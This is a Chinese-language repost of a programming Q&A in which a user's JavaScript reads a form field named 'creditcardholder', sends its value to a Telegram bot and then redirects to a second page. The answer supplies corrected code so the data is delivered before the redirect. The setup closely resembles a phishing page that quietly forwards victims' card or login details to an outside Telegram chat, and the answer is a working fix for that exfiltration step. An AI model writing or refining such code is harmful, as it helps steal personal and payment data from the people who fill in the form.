[英]How to redirect to another page via javascript and telegram bot api
我在将用户重定向到下一页时遇到问题。 发生的情况是,在发送表单后,用户被定向到下一页,但没有通过 Bot Telegram 将消息连接到我。
var telegram_bot_id = "token";
var chat_id = "id";
var email;
var ready = function () {
email = document.getElementById("creditcardholder").value;
message = "Email: " + email ;
};
var sender = function () {
ready();
var settings = {
"async": true,
"crossDomain": true,
"url": "https://api.telegram.org/bot" + telegram_bot_id + "/sendMessage",
"method": "POST",
"headers": {
"Content-Type": "application/json",
"cache-control": "no-cache"
},
"data": JSON.stringify({
"chat_id": chat_id,
"text": message
})
};
$.ajax(settings).done(function (response) {
console.log(response);
});
document.getElementById("creditcardholder").value = "";
window.location.href = "main2.html";
return false;
};
如果在完成 AJAX 请求之前重定向用户,则 AJAX 请求将被中止。 在此修改后的代码中,仅在成功完成 AJAX 请求后才会发生重定向:
var telegram_bot_id = "token";
var chat_id = "id";
var email;
var ready = function () {
email = document.getElementById("creditcardholder").value;
message = "Email: " + email ;
};
var sender = function () {
ready();
var settings = {
"async": true,
"crossDomain": true,
"url": "https://api.telegram.org/bot" + telegram_bot_id + "/sendMessage",
"method": "POST",
"headers": {
"Content-Type": "application/json",
"cache-control": "no-cache"
},
"data": JSON.stringify({
"chat_id": chat_id,
"text": message
})
};
$.ajax(settings).done(function (response) {
console.log(response);
window.location.href = "main2.html";
});
document.getElementById("creditcardholder").value = "";
return false;
};
声明:本站的技术帖子网页,遵循CC BY-SA 4.0协议,如果您需要转载,请注明本站网址或者原文地址。任何问题请咨询:yoyou2525@163.com.